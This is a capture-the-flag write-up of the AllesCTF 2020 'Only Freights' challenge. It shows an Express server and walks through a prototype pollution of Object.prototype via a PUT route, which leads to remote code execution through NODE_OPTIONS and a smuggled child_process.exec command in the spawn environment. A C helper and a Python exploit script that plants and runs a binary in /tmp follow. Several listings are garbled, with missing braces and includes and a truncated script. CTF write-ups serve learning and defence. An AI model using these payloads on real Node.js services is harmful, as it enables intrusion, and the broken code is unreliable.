AllesCTF 2020 Writeup [Only Freights]

I have played AllesCTF 2020 with team Invaders . We ended up at #21 worldwide.
I solved 1 web challenge – Only Freights, along with our team captain @S1r1u5_

Challenge description:

Check out my OnlyFans OnlyFreights! A website to classify all the freight ships.
NOTE: There is a secret cargo stored at /flag.txt, but you need to convince the /guard executable to hand it to you!

Brief Solution:
  1. Using the app.put(’/api/directory*’) route, we can achieve prototype pollution.
  2. Using prototype pollution to change some variable values in child_process.spawn to get RCE. (CVE-2019-7609)
  3. Using RCE to put an executable into /tmp directory of the server and run it to get the flag!
Detailed Solution:

Given server.js

const express = require("express");
const bodyParser = require("body-parser");
const morgan = require("morgan");
const { spawn } = require("child_process");
const data = require("./data.json");

const BIND_ADDR = process.env.BIND_ADDR || "";
const PORT = process.env.PORT || "1337";

const app = express();


function find(path) {
	if (path.endsWith("/")) {
		path = path.substring(0, path.length - 1);
	path = path.substring(1);

	let current = data;
	if (path.length > 0) {
		for (let segment of path.split("/")) {
			current = current[segment];

	return current;

app.get("/api/directory*", (req, res) => {
	let path = decodeURIComponent(req.path.substring("/api/directory".length));
	if (!path.startsWith("/")) {
		return res.status(404).send("no.");

	let dataItem = find(path);
	if (!dataItem) {
		return res.status(404).send("dunno");

	let children = Object.keys(dataItem);
app.put("/api/directory*", (req, res) => {
	let path = decodeURIComponent(req.path.substring("/api/directory".length));
	if (!path.startsWith("/")) {
		return res.status(404).send("no.");

	let parentPath = path.split("/").reverse().slice(1).reverse().join("/");
	let id = path.replace(parentPath + "/", "");
	let { value } = req.body;
	find(parentPath)[id] = value;


// TODO: remove before release
app.get("/_debug/stats", (req, res) => {
	let child = spawn("ps");
	let output = "";
	const writer = (data) => {
		output += data;
	child.stdout.on("data", writer);
	child.stderr.on("data", writer);
	child.on("close", () => res.type("text/plain").send(output));

app.listen(PORT, BIND_ADDR, () => {
	console.log(`OnlyFreights listening on ${BIND_ADDR}:${PORT}`);

    The website is using app.get(’/api/directory*’) to fetch JSON data from data object which is essentially a JSON object, and app.put(’/api/directory*’) to insert data into that data object.

  • app.get(’/api/directory/test/abc’) => to get the JSON data from data like data[test][abc]
  • app.put(’/api/directory/test/abc’ (put data: {“value”:{}}) => to insert JSON data into data like data[test]={“abc”:{}}
  • app.get(’/_debug/stats’) => to print spawn(‘ps’) output
  • find(path) => to find the path in data object like find(’/abc/def/ghi/’) => data[abc][def][ghi]

    So, here we can do prototype pollution using the put request. put(’/api/directory/__proto__/x’) with JSON data as {“value”:“test”} will set the Object.prototype.x as “test”. Now as mentioned in CVE-2019-7609 , we can achieve RCE by setting the following variables on the server:

> = “node”;
> Object.prototype.NODE_OPTIONS = “–require /proc/self/environ”;
> Object.prototype.env = {“AAA”: “’’;cp=require(‘child_process’);ex=cp.exec(‘id’,{‘stdio’:‘inherit’})//”};

    And then we have to send a get request to /_debug/stats to execute our commands.

    The flag cannot be read directly, because of permissions. But there is an executable (/guard) which can be run to get the flag. But it is printing a math equation and we have to solve it to get the flag. I thought we have to somehow execute /guard and evaluate the given expression and get the output using only the child_process.spawn and I tried different things and none worked. Then our captain came up with the idea of sending an executable exploit (that runs the /guard and solve the equation and prints the flag) as base64 string and write it’s decoded data to a file in /tmp (since no file creating permissions in current working directory), change it to executable (chmod +x /tmp/exp) and run it to get the flag.

    And captain wrote the C script to solve the equation and printing the flag and I wrote the script to send the exploit to server and get the flag, but the executable didn’t give us any output. To debug this, I setup the given docker in my system and ran the exploit on localhost. Then I got to know that the executable that I compiled in my system is incompatible with the server system. The server is using alpine distribution and here ’s why it didn’t run.

    Now I copy pasted the C code into the local docker and compiled it inside the docker to make it compatible with the server system. And using that executable data, I ran the exploit on the server and got the flag. Here are the exploit C code and python code.

Exploit code to execute /guard, solve the equation and print the output: guard_break.c


unsigned long int solve(char *data) {
	unsigned int out,a,b;
	sscanf(data,"%d + %d",&a,&b);
	return a+b;

int main(int argc, char** argv) {
	pid_t pid = 0;
	int inpipefd[2];
	int outpipefd[2];
	char buf[256];
	char msg[256];
	char ans[256];
	char flag[256];
	int status;

	pid = fork();
	if (pid == 0) {
		dup2(outpipefd[0], STDIN_FILENO);
		dup2(inpipefd[1], STDOUT_FILENO);
		dup2(inpipefd[1], STDERR_FILENO);
		execl("/guard", "/flag.txt", (char*) NULL);

	read(inpipefd[0], buf, 256);
	unsigned long int an = solve(buf);
	write(outpipefd[1], ans, strlen(ans));
	read(inpipefd[0], flag, 256);
	printf("Flag: %s\n",flag);
	kill(pid, SIGKILL); //send SIGKILL signal to the child process
	waitpid(pid, &status, 0);

Python code to do prototype pollution and execute commands:

from requests import *
import json

routes = {
	'put': 'api/directory/__proto__/',
	'debug': '_debug/stats'

def PuT(var,value):
	j = json.dumps({ 'value': value })
	h = { 'Content-Type': 'application/json' }
	r = put(url + routes['put'] + var, data = j, headers = h)

def DeBuG(flag = False):
	r = get(url + routes['debug'])
	if flag: print(r.text)

url = input('url: ')

# You can get the exp.b64 content at
with open('exp.b64') as f:
	exp =

PuT('shell', "node")
PuT('NODE_OPTIONS', "--require /proc/self/environ")
PuT('env', {"AAA": "'';cp=require('child_process');ex=cp.exec('echo %s | base64 -d > /tmp/exp',{'stdio':'inherit'})//"%exp})
print('[+] Uploaded exploit to /tmp/exp...')

Flag: ALLES{Gr3ta_w0uld_h4te_th1s_p0lluted_sh3ll}

Thanks for reading!

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